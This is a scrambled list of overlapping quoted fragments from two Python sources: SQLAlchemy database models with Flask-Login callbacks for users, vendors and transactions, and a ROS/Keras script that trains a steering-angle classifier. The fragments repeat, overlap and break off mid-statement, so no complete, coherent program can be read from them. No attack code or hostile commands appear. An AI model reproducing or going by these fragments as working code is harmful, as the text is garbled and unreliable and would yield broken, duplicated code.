default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id =", "User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name =", "with non-active users. Returns: True \"\"\" return True def is_authenticated(self):", "DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer,", "= Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status:", "return True unless the object represents a user should not", "\"\"\" Callback for Flask-Login. Default to True - we don't", "def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID", "non-active users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\"", "a given user object. It is unicoded as per specification.", "Default to False - we don't deal with any anonymous", "unicoded as per specification. Returns: the unique ID of an", "Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id", "= Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__", "Flask-Login. Default to False - we don't deal with any", "object. It is unicoded as per specification. Returns: the unique", "Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp", "import datetime from database import Base from sqlalchemy import Column,", "= Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email", "True - we don't deal with non-active users. Returns: True", "Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())", "timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default,", "return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return", "Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def", "ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp =", "not be authenticated. Returns: True because all objects should be", "- default, 1 - scanned, 2 - claimed status =", "__tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10))", "Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name =", "\"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should", "amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id =", "2 - claimed status = Column(Integer, default=0) company = Column(Integer,", "be authenticated. Returns: True because all objects should be authenticated", "primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount", "of a given user object. It is unicoded as per", "default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base):", "object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login.", "True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True", "id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company =", "Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id =", "claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount", "Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email =", "deal with any anonymous users. Returns: False \"\"\" return False", "users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback", "class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id", "Represents that unique ID of a given user object. It", "ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class", "unique ID of an object \"\"\" return unicode(self.id) def is_anonymous(self):", "all objects should be authenticated \"\"\" return True class PendingTransaction(Base):", "unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login.", "True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True)", "barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime,", "amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base):", "= Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret", "False \"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login.", "def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False -", "class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode", "Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp", "nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer,", "return False def is_active(self): \"\"\" Callback for Flask-Login. Default to", "from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class", "to True - we don't deal with non-active users. Returns:", "def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless", "\"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default", "'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name =", "from database import Base from sqlalchemy import Column, String, Integer,", "unless the object represents a user should not be authenticated.", "users. Returns: False \"\"\" return False def is_active(self): \"\"\" Callback", "nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned,", "'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id =", "company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime,", "1 - scanned, 2 - claimed status = Column(Integer, default=0)", "Default to True - we don't deal with non-active users.", "user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount =", "for Flask-Login. Represents that unique ID of a given user", "= Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ =", "datetime from database import Base from sqlalchemy import Column, String,", "= 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id'))", "user should not be authenticated. Returns: True because all objects", "True \"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login.", "for Flask-Login. Default to True - we don't deal with", "= Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255))", "True because all objects should be authenticated \"\"\" return True", "Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id'))", "- we don't deal with non-active users. Returns: True \"\"\"", "= Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\"", "specification. Returns: the unique ID of an object \"\"\" return", "= Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float)", "= Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True)", "is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False - we", "deal with non-active users. Returns: True \"\"\" return True def", "import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime,", "because all objects should be authenticated \"\"\" return True class", "per specification. Returns: the unique ID of an object \"\"\"", "It is unicoded as per specification. Returns: the unique ID", "True unless the object represents a user should not be", "should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ =", "- claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id'))", "for Flask-Login. Should return True unless the object represents a", "\"\"\" Callback for Flask-Login. Default to False - we don't", "we don't deal with any anonymous users. Returns: False \"\"\"", "- we don't deal with any anonymous users. Returns: False", "don't deal with any anonymous users. Returns: False \"\"\" return", "scanned, 2 - claimed status = Column(Integer, default=0) company =", "__tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer,", "False - we don't deal with any anonymous users. Returns:", "Returns: False \"\"\" return False def is_active(self): \"\"\" Callback for", "Status: 0 - default, 1 - scanned, 2 - claimed", "don't deal with non-active users. Returns: True \"\"\" return True", "default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True)", "def is_active(self): \"\"\" Callback for Flask-Login. Default to True -", "id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer,", "Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions'", "= Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False,", "index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for", "is unicoded as per specification. Returns: the unique ID of", "is_active(self): \"\"\" Callback for Flask-Login. Default to True - we", "objects should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__", "object represents a user should not be authenticated. Returns: True", "default, 1 - scanned, 2 - claimed status = Column(Integer,", "the unique ID of an object \"\"\" return unicode(self.id) def", "represents a user should not be authenticated. Returns: True because", "class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name", "Returns: the unique ID of an object \"\"\" return unicode(self.id)", "= Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer,", "get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID of", "Flask-Login. Should return True unless the object represents a user", "= Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1", "as per specification. Returns: the unique ID of an object", "= 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url", "return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to", "ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id =", "password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents", "Should return True unless the object represents a user should", "0 - default, 1 - scanned, 2 - claimed status", "be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions'", "anonymous users. Returns: False \"\"\" return False def is_active(self): \"\"\"", "ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id", "= Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer,", "= Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False,", "Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret =", "'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company", "authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id", "a user should not be authenticated. Returns: True because all", "= Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float)", "- scanned, 2 - claimed status = Column(Integer, default=0) company", "__tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255))", "String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users'", "to False - we don't deal with any anonymous users.", "= Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that", "status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount =", "any anonymous users. Returns: False \"\"\" return False def is_active(self):", "\"\"\" Callback for Flask-Login. Represents that unique ID of a", "\"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login. Default", "primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret = Column(String(255))", "should not be authenticated. Returns: True because all objects should", "__tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255))", "return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer,", "False def is_active(self): \"\"\" Callback for Flask-Login. Default to True", "last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password =", "authenticated. Returns: True because all objects should be authenticated \"\"\"", "id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255))", "= Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id", "first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True,", "given user object. It is unicoded as per specification. Returns:", "\"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id =", "Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0", "Returns: True because all objects should be authenticated \"\"\" return", "class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name", "ID of a given user object. It is unicoded as", "Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True)", "Callback for Flask-Login. Represents that unique ID of a given", "timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors'", "unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False", "import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__", "company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__", "primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255),", "user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) #", "Flask-Login. Default to True - we don't deal with non-active", "database import Base from sqlalchemy import Column, String, Integer, ForeignKey,", "Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True)", "Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique", "we don't deal with non-active users. Returns: True \"\"\" return", "id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255))", "ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 -", "Callback for Flask-Login. Default to True - we don't deal", "unique ID of a given user object. It is unicoded", "ID of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\"" ]
[ "= rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for", "cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir,", "if the number of training examples is below this, load", "len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test", "data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create", "steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc finally:", "+ input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] =", "for i in range(len(categories))] return oneHot def format_inputs(examples): data2 =", "# 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu'))", "categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const =", "> 0: D = [] while len(exampleSetFiles) > 0 and", "below this, load more data batch_size = 16 categories =", "loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"|", "n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const:", "+ batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) /", "= X[i: i + batch_size] ys = labels[i: i +", "dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2", "= 16 categories = [None] def defineCategory(steering): differences = [abs(steering", "x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories),", "0 cnt = collections.Counter() for f in exampleSetFiles_const: data =", "= make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir)", "\\ GaussianNoise, BatchNormalization import cv2 import collections import random import", "(3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12", "import numpy as np import rospy import keras from keras.models", "categories = string.strip(categories).split(\" \") categories = [float(x) for x in", "GaussianNoise, BatchNormalization import cv2 import collections import random import time", "labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs", "isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels", "in range(0, len(X), batch_size): xs = X[i: i + batch_size]", "as np import rospy import keras from keras.models import Sequential", "validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved model to\", model_path", "= model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\",", "cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation", "bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not", "example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load =", "= np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples):", "= tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f)", "/ batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time()", "differences = [abs(steering - category) for category in categories] category", "MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import random", "import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import", "0.4: # 40% of images are flipped X[i] = cv2.flip(X[i],", "yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(),", "activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25))", "X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in", "defineCategory(steering): differences = [abs(steering - category) for category in categories]", "= np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for", "rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\"", "format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex", "expand_categories n_examples_to_load = 8000 # if the number of training", "startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True),", "n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches)", "import cv2 import collections import random import time from example_set", "f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train)", "data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else", "= 0 n_test_examples = 0 cnt = collections.Counter() for f", "cnt[i] += 1 print \"total training examples:\", n_training_examples print \"training", "print \"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path)", "exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories", "data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model():", "batch_size): xs = X[i: i + batch_size] ys = labels[i:", "metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\")", "import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D,", "for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples +=", "ex.get_image() data2 /= 255.0 return data2 def make_model(): model =", "batch_size] ys = labels[i: i + batch_size] yield (xs, ys)", "= False): gen_epochs = 1 if isValidation else epochs for", "string.strip(categories).split(\" \") categories = [float(x) for x in categories] categories", "= [float(x) for x in categories] categories = expand_categories(categories) model", "batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() -", "string import numpy as np import rospy import keras from", "i in range(len(X)): if random.random() < 0.4: # 40% of", "acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation", "Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2", "keras from keras.models import Sequential from keras.layers import Dense, Dropout,", "< n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if", "2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32,", "steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches", "categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f", "i + batch_size] ys = labels[i: i + batch_size] yield", "def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time()", "+= len(data.train) n_test_examples += len(data.test) for ex in data.train: i", "1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size):", "cv2 import collections import random import time from example_set import", "category else 0 for i in range(len(categories))] return oneHot def", "global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path =", "= 0 cnt = collections.Counter() for f in exampleSetFiles_const: data", "categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\")", "3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten())", "model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime =", "# create output bins labels = np.array([defineCategory(ex.angle) for ex in", "of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] =", "= expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for", "flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i", "verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples)", "Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections", "Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import", "f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in", "model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) #", "rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\")", "= cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0,", "Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\", "np import rospy import keras from keras.models import Sequential from", "4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same'))", "+= data.test if isValidation else data.train if not isValidation: random.shuffle(D)", "\"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs =", "labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation:", "model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime", "[] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data", "f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0", "loss, \"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved model", "0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2", "(3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6", "in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples", "in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples", "tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples", "48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4)))", "model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load,", "expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f", "len(X), batch_size): xs = X[i: i + batch_size] ys =", "range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D", "data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test)", "import input_shape, expand_categories n_examples_to_load = 8000 # if the number", "make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if", "batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs", "ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print", "== category else 0 for i in range(len(categories))] return oneHot", "time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\"))", "1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles", "while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data =", "in categories] category = np.argmin(differences) oneHot = [1 if i", "model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x", "import math import string import numpy as np import rospy", "len(data.train) n_test_examples += len(data.test) for ex in data.train: i =", "= ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for", "data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training", "D += data.test if isValidation else data.train if not isValidation:", "for i in range(0, len(X), batch_size): xs = X[i: i", "data2 def make_model(): model = Sequential() # 128 x 48", "X[i: i + batch_size] ys = labels[i: i + batch_size]", "data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in", "print \"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs", "ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return", "collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples", "import random import time from example_set import ExampleSet from params", "range(len(X)): if random.random() < 0.4: # 40% of images are", "random.random() < 0.4: # 40% of images are flipped X[i]", "in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total", "= format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for", "\"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size))", "for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1", "rospy import keras from keras.models import Sequential from keras.layers import", "n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train:", "for i in range(len(X)): if random.random() < 0.4: # 40%", "\"total training examples:\", n_training_examples print \"training label counts:\", cnt def", "exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in", "in f) n_training_examples = 0 n_test_examples = 0 cnt =", "number of training examples is below this, load more data", "3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64,", "batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size))", "int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\",", "= ex.get_image() data2 /= 255.0 return data2 def make_model(): model", "= 8000 # if the number of training examples is", "from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise,", "6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax'))", "and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D +=", "16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35))", "keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization", "x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) #", "model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main():", "not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins", "examples is below this, load more data batch_size = 16", "f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter()", "import rospy import keras from keras.models import Sequential from keras.layers", "epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while", "from params import input_shape, expand_categories n_examples_to_load = 8000 # if", "# 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2,", "activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return", "for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles)", "enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def", "for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples =", "batch_size = 16 categories = [None] def defineCategory(steering): differences =", "load more data batch_size = 16 categories = [None] def", "+= 1 print \"total training examples:\", n_training_examples print \"training label", "[None] def defineCategory(steering): differences = [abs(steering - category) for category", "i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0", "def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else", "for ex in D]) if not isValidation: for i in", "categories = [None] def defineCategory(steering): differences = [abs(steering - category)", "time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss,", "of training examples is below this, load more data batch_size", "this, load more data batch_size = 16 categories = [None]", "not isValidation: for i in range(len(X)): if random.random() < 0.4:", "12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16", "for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /=", "model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc", "categories] category = np.argmin(differences) oneHot = [1 if i ==", "= np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples", "labels[i: i + batch_size] yield (xs, ys) try: n_minibatches =", "np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples print", "np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i", 